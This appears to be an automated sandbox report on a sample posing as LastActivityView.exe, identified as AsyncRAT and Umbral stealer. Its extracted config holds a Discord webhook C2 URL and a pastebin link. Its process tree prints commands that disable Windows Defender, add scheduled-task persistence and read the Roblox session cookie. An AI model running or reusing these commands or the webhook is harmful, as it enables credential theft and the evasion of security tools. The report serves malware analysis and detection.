Analysis

  • max time kernel
    150s
  • max time network
    143s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    07-05-2024 12:22

General

  • Target

    LastActivityView.exe

  • Size

    69KB

  • MD5

    0f9957e07c58ab3e2870c0e8bf7d872a

  • SHA1

    1a1d98204c0ed2ac1a693ae4fac0127ffbd61425

  • SHA256

    5b4b7ee3ed81ea6e75c4ee134cce259605ac1afa38229ca6f34e8d5329f33dd6

  • SHA512

    8ca2f8229637c875f5520cfa526508ab055f2d46588e722cf68895e7a208fc90571e38ee29095a9f07b39965f3c9436264f582b22e8ae11bc5bc07bbbada8225

  • SSDEEP

    1536:YcKvgnZY4E/YYUbth9Dru9YhDWakpqKmY7:9tnZY4EQYUbtsavz

Malware Config

Extracted

Family

asyncrat

Botnet

Default

Attributes
  • delay

    1

  • install

    true

  • install_file

    tck.exe

  • install_folder

    %AppData%

  • pastebin_config

    https://pastebin.com/raw/R8gFU5SX

aes.plain

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1237145706423123999/BQqwyjXaKt7KqCLA_iWguAde2fiNgpA36IvFL69WoxRB6yoYhMjlc7o80Exvew2DFX8M

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect Umbral payload 2 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Async RAT payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Start PowerShell.

  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\LastActivityView.exe
    "C:\Users\Admin\AppData\Local\Temp\LastActivityView.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2216
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "tck" /tr '"C:\Users\Admin\AppData\Roaming\tck.exe"' & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:580
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "tck" /tr '"C:\Users\Admin\AppData\Roaming\tck.exe"'
        3⤵
        • Creates scheduled task(s)
        PID:4208
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp5CB6.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4488
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:440
      • C:\Users\Admin\AppData\Roaming\tck.exe
        "C:\Users\Admin\AppData\Roaming\tck.exe"
        3⤵
        • Modifies Windows Defender Real-time Protection settings
        • Executes dropped EXE
        • Windows security modification
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:840
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\sjrxwm.exe"' & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1380
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\sjrxwm.exe"'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1032
            • C:\Users\Admin\AppData\Local\Temp\sjrxwm.exe
              "C:\Users\Admin\AppData\Local\Temp\sjrxwm.exe"
              6⤵
              • Drops file in Drivers directory
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2848
              • C:\Windows\SYSTEM32\attrib.exe
                "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\sjrxwm.exe"
                7⤵
                • Views/modifies file attributes
                PID:3952
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\sjrxwm.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:2868
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
                7⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2300
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                7⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2840
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                7⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3496
              • C:\Windows\System32\Wbem\wmic.exe
                "wmic.exe" os get Caption
                7⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3192
              • C:\Windows\System32\Wbem\wmic.exe
                "wmic.exe" computersystem get totalphysicalmemory
                7⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:240
              • C:\Windows\System32\Wbem\wmic.exe
                "wmic.exe" csproduct get uuid
                7⤵
                  PID:2196
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                  7⤵
                    PID:4760
                  • C:\Windows\System32\Wbem\wmic.exe
                    "wmic" path win32_VideoController get name
                    7⤵
                    • Detects videocard installed
                    PID:688
                  • C:\Windows\SYSTEM32\cmd.exe
                    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\sjrxwm.exe" && pause
                    7⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2476
                    • C:\Windows\system32\PING.EXE
                      ping localhost
                      8⤵
                      • Runs ping.exe
                      PID:340
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "tck" /tr '"C:\Users\Admin\AppData\Local\Temp\tck.exe"' & exit
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4716
              • C:\Windows\system32\schtasks.exe
                schtasks /create /f /sc onlogon /rl highest /tn "tck" /tr '"C:\Users\Admin\AppData\Local\Temp\tck.exe"'
                5⤵
                • Creates scheduled task(s)
                PID:3812
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" Get-MpPreference -verbose
              4⤵
                PID:908
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add - MpPreference - ExclusionExtension ".exe"
                4⤵
                  PID:3972

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            352b9cf378bd16a56c1eb098f1c64644

            SHA1

            6d3ca466d823dec3031206ce1f39d5799f88d3f8

            SHA256

            d427154ab5e8789065147b8347e35a876d133df49f9541227157739df64b0ad8

            SHA512

            113c5b4022e62aebb332323c9f98609770f6b28d6f06aca4c4da9950427aaab399abcadc6b7035c44f0b48abcf5ac31a7e2c4a721511ca3bacb5b31a37ba99e9

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            38ecc5b95c11e5a77558753102979c51

            SHA1

            c0759b08ef377df9979d8835d8a7e464cd8eaf6b

            SHA256

            2eb69abe0af5a2fb5bb313533cef641e25016876b874353f7d737c7ad672c79e

            SHA512

            9bf4ce3bc097bdd0242bd105c936a9c9403d5ac83ec99e6a310591a7b8d26309485f3e0cdc4cba67c322f834c325a2b63a008adb078f3a3307094c4b68a48686

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            64B

            MD5

            c6aae9fb57ebd2ae201e8d174d820246

            SHA1

            58140d968de47bcf9c78938988a99369bbdb1f51

            SHA256

            bbc39a8da61fd8ec0d64e708e1ab4986f7fdf580581e464629bf040c595f7c08

            SHA512

            5959f7dab47bc4bad03635f497ca48f2e0740375528afddfc50964e54983e56df5970b25b8d8b28f1aa73cd6233fac83c634a311e759c58a365570e4862c3e3c

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            64B

            MD5

            1a11402783a8686e08f8fa987dd07bca

            SHA1

            580df3865059f4e2d8be10644590317336d146ce

            SHA256

            9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

            SHA512

            5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            fcbfea2bed3d0d2533fe957f0f83e35c

            SHA1

            70ca46e89e31d8918c482848cd566090aaffd910

            SHA256

            e97f54e5237ffeca4c9a6454f73690b98ac33e03c201f9f7e465394ecbc3ea38

            SHA512

            d382453207d961f63624ba4c5a0dea874e6b942f5cad731c262a44371fb25b309eacf608156e0234169e52337796128312e72edb0290c48f56104fe5e52509a6

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            948B

            MD5

            6bddc96a32b9ed8fc70b141ccf4a39b2

            SHA1

            0f33c0699da40a5eadcec646791cf21cdb0dd7c6

            SHA256

            cb3853abe77eb0da8a1caccb49e97a573b6f35570722eb759116a645d724c132

            SHA512

            e41f1597b4129b759e4199db195df1c24e47cc47dc9850fab2d48e44bc3d37dc3658fbfbb62332a0b93c552587d7fab09de1634f605faa2209b8470c2a6eaca6

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            57083a8e45ebe4fd84c7c0f137ec3e21

            SHA1

            857b5ea57f7bcf03cadee122106c6e58792a9b84

            SHA256

            f20102c4dc409cad3cdaf7a330c3a18a730a9d7d902b9fbee2a84186cba93d40

            SHA512

            4bbc21c07c05ee1f783242f0fb59324d5ff9ae18bdf892f02980d582fed83380888eeba58e1a6a321507cfd5d4fe82a328a0d3482b29633be4e3ebbeac636f87

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fnu5vbpx.3zr.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\sjrxwm.exe

            Filesize

            229KB

            MD5

            f94e3703ca371767d93f5a88b74fbee7

            SHA1

            80530e8ffb3fc7d2c36e339b70bcae0d0014b7f5

            SHA256

            954af7a9095306263dce0c4d05eda925de49041ad6ea7c37a23fed8cbc97f1d7

            SHA512

            ca0ba2f5a26a26eeb0e15a5b99be937b7d695411f043b1629ef10f7106f26a1096229f763b0ab86796d8f37efc62f469e399206d7a8c706e4043112269f01066

          • C:\Users\Admin\AppData\Local\Temp\tmp5CB6.tmp.bat

            Filesize

            147B

            MD5

            2a880eaa00f6e53d53150a35694d40c2

            SHA1

            15f6709153285b9a13d044ce2595d540b24fb787

            SHA256

            cf201bc88a49c2766dc6e5cf5aa9028c84fd694490209d693df3366e0b382e8a

            SHA512

            3291c7e2f58a9c4b518b165f4b7d3a9f0d39774d7d5358217f894f6adee4c872d40ac8df85a0829c9f55383a5eeebba9b01b61f06ec67f8cd9e8d54da3a615da

          • C:\Users\Admin\AppData\Roaming\tck.exe

            Filesize

            69KB

            MD5

            0f9957e07c58ab3e2870c0e8bf7d872a

            SHA1

            1a1d98204c0ed2ac1a693ae4fac0127ffbd61425

            SHA256

            5b4b7ee3ed81ea6e75c4ee134cce259605ac1afa38229ca6f34e8d5329f33dd6

            SHA512

            8ca2f8229637c875f5520cfa526508ab055f2d46588e722cf68895e7a208fc90571e38ee29095a9f07b39965f3c9436264f582b22e8ae11bc5bc07bbbada8225

          • memory/840-18-0x0000000003010000-0x0000000003042000-memory.dmp

            Filesize

            200KB

          • memory/840-17-0x000000001BC80000-0x000000001BC9E000-memory.dmp

            Filesize

            120KB

          • memory/840-110-0x000000001E100000-0x000000001E134000-memory.dmp

            Filesize

            208KB

          • memory/840-16-0x000000001BBD0000-0x000000001BC82000-memory.dmp

            Filesize

            712KB

          • memory/840-15-0x000000001C200000-0x000000001C276000-memory.dmp

            Filesize

            472KB

          • memory/1032-28-0x000001D7A3690000-0x000001D7A36B2000-memory.dmp

            Filesize

            136KB

          • memory/2216-3-0x00007FFCF84D0000-0x00007FFCF8F92000-memory.dmp

            Filesize

            10.8MB

          • memory/2216-8-0x00007FFCF84D0000-0x00007FFCF8F92000-memory.dmp

            Filesize

            10.8MB

          • memory/2216-0-0x00007FFCF84D3000-0x00007FFCF84D5000-memory.dmp

            Filesize

            8KB

          • memory/2216-2-0x00007FFCF84D0000-0x00007FFCF8F92000-memory.dmp

            Filesize

            10.8MB

          • memory/2216-1-0x0000000000C70000-0x0000000000C88000-memory.dmp

            Filesize

            96KB

          • memory/2848-57-0x000001F57FF40000-0x000001F57FF90000-memory.dmp

            Filesize

            320KB

          • memory/2848-91-0x000001F57F7F0000-0x000001F57F7FA000-memory.dmp

            Filesize

            40KB

          • memory/2848-92-0x000001F580040000-0x000001F580052000-memory.dmp

            Filesize

            72KB

          • memory/2848-33-0x000001F57EFA0000-0x000001F57EFE0000-memory.dmp

            Filesize

            256KB